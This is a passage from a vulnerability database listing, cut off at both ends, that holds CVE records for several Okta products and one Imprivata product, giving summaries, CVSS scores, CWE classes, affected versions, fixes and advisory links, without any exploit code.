      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Verify for Windows",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "5.0.1",
              "status": "affected",
              "version": "5.0.1",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "5.0.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Okta would like to thank Ryan Wincey of Securifera, Inc. for discovering this vulnerability."
        }
      ],
      "datePublic": "2024-08-07T17:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Verify for Windows is vulnerable to privilege escalation through DLL hijacking. The vulnerability is fixed in Okta Verify for Windows version 5.0.2. To remediate this vulnerability, upgrade to 5.0.2 or greater."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-427",
              "description": "CWE-427 Uncontrolled Search Path or Element",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-08-07T16:37:01.719Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-verify-for-windows-privilege-escalation-cve-2024-7061/"
        },
        {
          "url": "https://help.okta.com/oie/en-us/content/topics/releasenotes/oie-ov-release-notes.htm#panel4"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "The vulnerability is fixed in Okta Verify for Windows version 5.0.2. To remediate this vulnerability, upgrade to 5.0.2 or greater."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-7061",
    "datePublished": "2024-08-07T16:35:44.403Z",
    "dateReserved": "2024-07-23T21:04:37.452Z",
    "dateUpdated": "2024-08-09T13:44:51.144Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-0981 (GCVE-0-2024-0981)

Vulnerability from nvd – Published: 2024-07-23 20:49 – Updated: 2024-08-01 18:26

Summary

Okta Browser Plugin versions 6.5.0 through 6.31.0 (Chrome/Edge/Firefox/Safari) are vulnerable to cross-site scripting. This issue occurs when the plugin prompts the user to save these credentials within Okta Personal. A fix was implemented to properly escape these fields, addressing the vulnerability. Importantly, if Okta Personal is not added to the plugin to enable multi-account view, the Workforce Identity Cloud plugin is not affected by this issue. The vulnerability is fixed in Okta Browser Plugin version 6.32.0 for Chrome/Edge/Safari/Firefox.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-b…	vendor-advisory

Impacted products

1 product

Vendor	Product	Version
Okta	Okta Browser Plugin	Affected: 6.5.0 through 6.31.0 (semver) Unaffected: 6.32.0 (semver)

Date Public

2024-07-23 21:00

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-0981",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-24T13:21:12.411913Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-26T17:55:53.987Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T18:26:30.219Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-browser-plugin-reflected-cross-site-scripting-cve-2024-0981"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Browser Plugin",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "6.5.0 through 6.31.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "6.32.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "datePublic": "2024-07-23T21:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Browser Plugin versions 6.5.0 through 6.31.0 (Chrome/Edge/Firefox/Safari) are vulnerable to cross-site scripting. This issue occurs when the plugin prompts the user to save these credentials within Okta Personal. A fix was implemented to properly escape these fields, addressing the vulnerability. Importantly, if Okta Personal is not added to the plugin to enable multi-account view, the Workforce Identity Cloud plugin is not affected by this issue. The vulnerability is fixed in Okta Browser Plugin version 6.32.0 for Chrome/Edge/Safari/Firefox."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79 Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-07-23T20:53:13.772Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-browser-plugin-reflected-cross-site-scripting-cve-2024-0981"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "The vulnerability is fixed in Okta Browser Plugin version 6.32.0 for Chrome/Edge/Safari/Firefox."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-0981",
    "datePublished": "2024-07-23T20:49:31.774Z",
    "dateReserved": "2024-01-26T22:42:26.526Z",
    "dateUpdated": "2024-08-01T18:26:30.219Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-0980 (GCVE-0-2024-0980)

Vulnerability from nvd – Published: 2024-03-27 23:16 – Updated: 2024-08-01 18:26

Summary

The Auto-update service for Okta Verify for Windows is vulnerable to two flaws which in combination could be used to execute arbitrary code.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory
CWE-427 - Uncontrolled Search Path or Element

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-v…

Impacted products

2 products

Vendor	Product	Version
Okta	Okta Verify for Windows	Affected: 0 , < 4.10.7 (semver)
okta	verify	Affected: 0 , < 4.10.7 (semver) cpe:2.3:a:okta:verify::::::::

Credits

Okta would like to thank Ryan Wincey of Securifera, Inc. for providing information in addressing this vulnerability.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:verify:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "verify",
            "vendor": "okta",
            "versions": [
              {
                "lessThan": "4.10.7",
                "status": "affected",
                "version": "0",
                "versionType": "semver"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "ADJACENT_NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.1,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-0980",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-03-30T04:00:54.049277Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-18T20:01:32.632Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T18:26:30.489Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-verify-windows-auto-update-arbitrary-code-execution-cve-2024-0980"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Verify for Windows",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "4.10.7",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Okta would like to thank Ryan Wincey of Securifera, Inc. for providing information in addressing this vulnerability."
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Auto-update service for Okta Verify for Windows is vulnerable to two flaws which in combination could be used to execute arbitrary code."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "Improper Limitation of a Pathname to a Restricted Directory",
              "lang": "en"
            },
            {
              "cweId": "CWE-427",
              "description": "Uncontrolled Search Path or Element",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-03-28T16:59:21.177Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://trust.okta.com/security-advisories/okta-verify-windows-auto-update-arbitrary-code-execution-cve-2024-0980"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-0980",
    "datePublished": "2024-03-27T23:16:37.513Z",
    "dateReserved": "2024-01-26T22:42:20.854Z",
    "dateUpdated": "2024-08-01T18:26:30.489Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-0392 (GCVE-0-2023-0392)

Vulnerability from nvd – Published: 2023-11-08 20:37 – Updated: 2024-09-04 16:02

Summary

The LDAP Agent Update service with versions prior to 5.18 used an unquoted path, which could allow arbitrary code execution.

Severity

3.9 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-428 - Unquoted Search Path or Element

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-l…

Impacted products

2 products

Vendor	Product	Version
Okta	LDAP Agent	Affected: 0 , < 5.18 (semver)
okta	ldap_agent	Affected: 0 , < 5.18 (custom) cpe:2.3:a:okta:ldap_agent::::::::

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T05:10:55.607Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-ldap-agent-cve-2023-0392"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:ldap_agent:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "ldap_agent",
            "vendor": "okta",
            "versions": [
              {
                "lessThan": "5.18",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "LOW",
              "baseScore": 3.9,
              "baseSeverity": "LOW",
              "confidentialityImpact": "LOW",
              "integrityImpact": "LOW",
              "privilegesRequired": "HIGH",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-0392",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-04T16:02:43.869848Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-428",
                "description": "CWE-428 Unquoted Search Path or Element",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-04T16:02:49.750Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "LDAP Agent",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "5.18",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The LDAP Agent Update service with versions prior to 5.18 used an unquoted path, which could allow arbitrary code execution."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-428",
              "description": "Unquoted Search Path or Element",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-11-08T20:37:14.786Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://trust.okta.com/security-advisories/okta-ldap-agent-cve-2023-0392"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2023-0392",
    "datePublished": "2023-11-08T20:37:14.786Z",
    "dateReserved": "2023-01-18T20:11:49.233Z",
    "dateUpdated": "2024-09-04T16:02:49.750Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2021-45094 (GCVE-0-2021-45094)

Vulnerability from nvd – Published: 2023-07-20 00:00 – Updated: 2024-10-24 16:50

Summary

Imprivata Privileged Access Management (formally Xton Privileged Access Management) 2.3.202112051108 allows XSS.

Severity

No CVSS data available.

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

n/a

Assigner

mitre

References

3 references

URL	Tags
https://www.imprivata.com/privileged-access-management
https://aegis9.com.au/blog/
https://www.aegis9.com.au/blog/5/

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T04:32:13.620Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.imprivata.com/privileged-access-management"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://aegis9.com.au/blog/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.aegis9.com.au/blog/5/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2021-45094",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-24T16:50:34.527558Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-24T16:50:46.826Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Imprivata Privileged Access Management (formally Xton Privileged Access Management) 2.3.202112051108 allows XSS."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-07-20T00:00:00.000Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://www.imprivata.com/privileged-access-management"
        },
        {
          "url": "https://aegis9.com.au/blog/"
        },
        {
          "url": "https://www.aegis9.com.au/blog/5/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2021-45094",
    "datePublished": "2023-07-20T00:00:00.000Z",
    "dateReserved": "2021-12-16T00:00:00.000Z",
    "dateUpdated": "2024-10-24T16:50:46.826Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-0093 (GCVE-0-2023-0093)

Vulnerability from nvd – Published: 2023-03-06 00:00 – Updated: 2025-03-06 19:42

Summary

Okta Advanced Server Access Client versions 1.13.1 through 1.65.0 are vulnerable to command injection due to the third party library webbrowser. An outdated library, webbrowser, used by the ASA client was found to be vulnerable to command injection. To exploit this issue, an attacker would need to phish the user to enter an attacker controlled server URL during enrollment.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

Command Injection
CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-a…

Impacted products

1 product

Vendor	Product	Version
Okta	Advanced Server Access	Affected: 1.13.1 through 1.65.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T05:02:43.461Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2023-0093/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 8.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-0093",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-06T19:39:33.009371Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-77",
                "description": "CWE-77 Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-06T19:42:29.370Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Advanced Server Access",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "1.13.1 through 1.65.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Advanced Server Access Client versions 1.13.1 through 1.65.0 are vulnerable to command injection due to the third party library webbrowser. An outdated library, webbrowser, used by the ASA client was found to be vulnerable to command injection. To exploit this issue, an attacker would need to phish the user to enter an attacker controlled server URL during enrollment."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "Command Injection",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-03-06T00:00:00.000Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2023-0093/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2023-0093",
    "datePublished": "2023-03-06T00:00:00.000Z",
    "dateReserved": "2023-01-05T00:00:00.000Z",
    "dateUpdated": "2025-03-06T19:42:29.370Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2022-3145 (GCVE-0-2022-3145)

Vulnerability from nvd – Published: 2023-01-12 00:00 – Updated: 2025-04-08 13:37

Summary

An open redirect vulnerability exists in Okta OIDC Middleware prior to version 5.0.0 allowing an attacker to redirect a user to an arbitrary URL.

Severity

4.7 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

Open Redirect
CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

Okta

References

1 reference

URL	Tags
https://github.com/okta/okta-oidc-middleware/secu…

Impacted products

1 product

Vendor	Product	Version
Okta	Okta OIDC Middleware	Affected: prior to 5.0.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T01:00:10.700Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/okta/okta-oidc-middleware/security/advisories/GHSA-58h4-9m7m-j9m4"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 4.7,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "LOW",
              "privilegesRequired": "NONE",
              "scope": "CHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2022-3145",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-08T13:36:52.687825Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-601",
                "description": "CWE-601 URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-08T13:37:49.124Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Okta OIDC Middleware",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "prior to 5.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "An open redirect vulnerability exists in Okta OIDC Middleware prior to version 5.0.0 allowing an attacker to redirect a user to an arbitrary URL."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "Open Redirect",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-01-12T00:00:00.000Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://github.com/okta/okta-oidc-middleware/security/advisories/GHSA-58h4-9m7m-j9m4"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2022-3145",
    "datePublished": "2023-01-12T00:00:00.000Z",
    "dateReserved": "2022-09-06T00:00:00.000Z",
    "dateUpdated": "2025-04-08T13:37:49.124Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2022-1697 (GCVE-0-2022-1697)

Vulnerability from nvd – Published: 2022-09-06 17:18 – Updated: 2024-08-03 00:10

Summary

Okta Active Directory Agent versions 3.8.0 through 3.11.0 installed the Okta AD Agent Update Service using an unquoted path. Note: To remediate this vulnerability, you must uninstall Okta Active Directory Agent and reinstall Okta Active Directory Agent 3.12.0 or greater per the documentation.

Severity

No CVSS data available.

CWE

Unquoted Search Path or Element

Assigner

Okta

References

3 references

URL	Tags
https://trust.okta.com/security-advisories/okta-a…	x_refsource_MISC
https://help.okta.com/en-us/Content/Topics/Direct…	x_refsource_MISC
https://support.okta.com/help/s/article/Security-…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Okta	Okta Active Directory Agent	Affected: 3.8.0, 3.9.0, 3.10.0, 3.11.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T00:10:03.895Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-active-directory-agent-cve-2022-1697"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://help.okta.com/en-us/Content/Topics/Directory/ad-agent-update.htm"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://support.okta.com/help/s/article/Security-Notice-CVE-2022-1697-FAQ"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Okta Active Directory Agent",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "3.8.0, 3.9.0, 3.10.0, 3.11.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Active Directory Agent versions 3.8.0 through 3.11.0 installed the Okta AD Agent Update Service using an unquoted path. Note: To remediate this vulnerability, you must uninstall Okta Active Directory Agent and reinstall Okta Active Directory Agent 3.12.0 or greater per the documentation."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "Unquoted Search Path or Element",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-09-13T15:13:26.000Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-active-directory-agent-cve-2022-1697"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
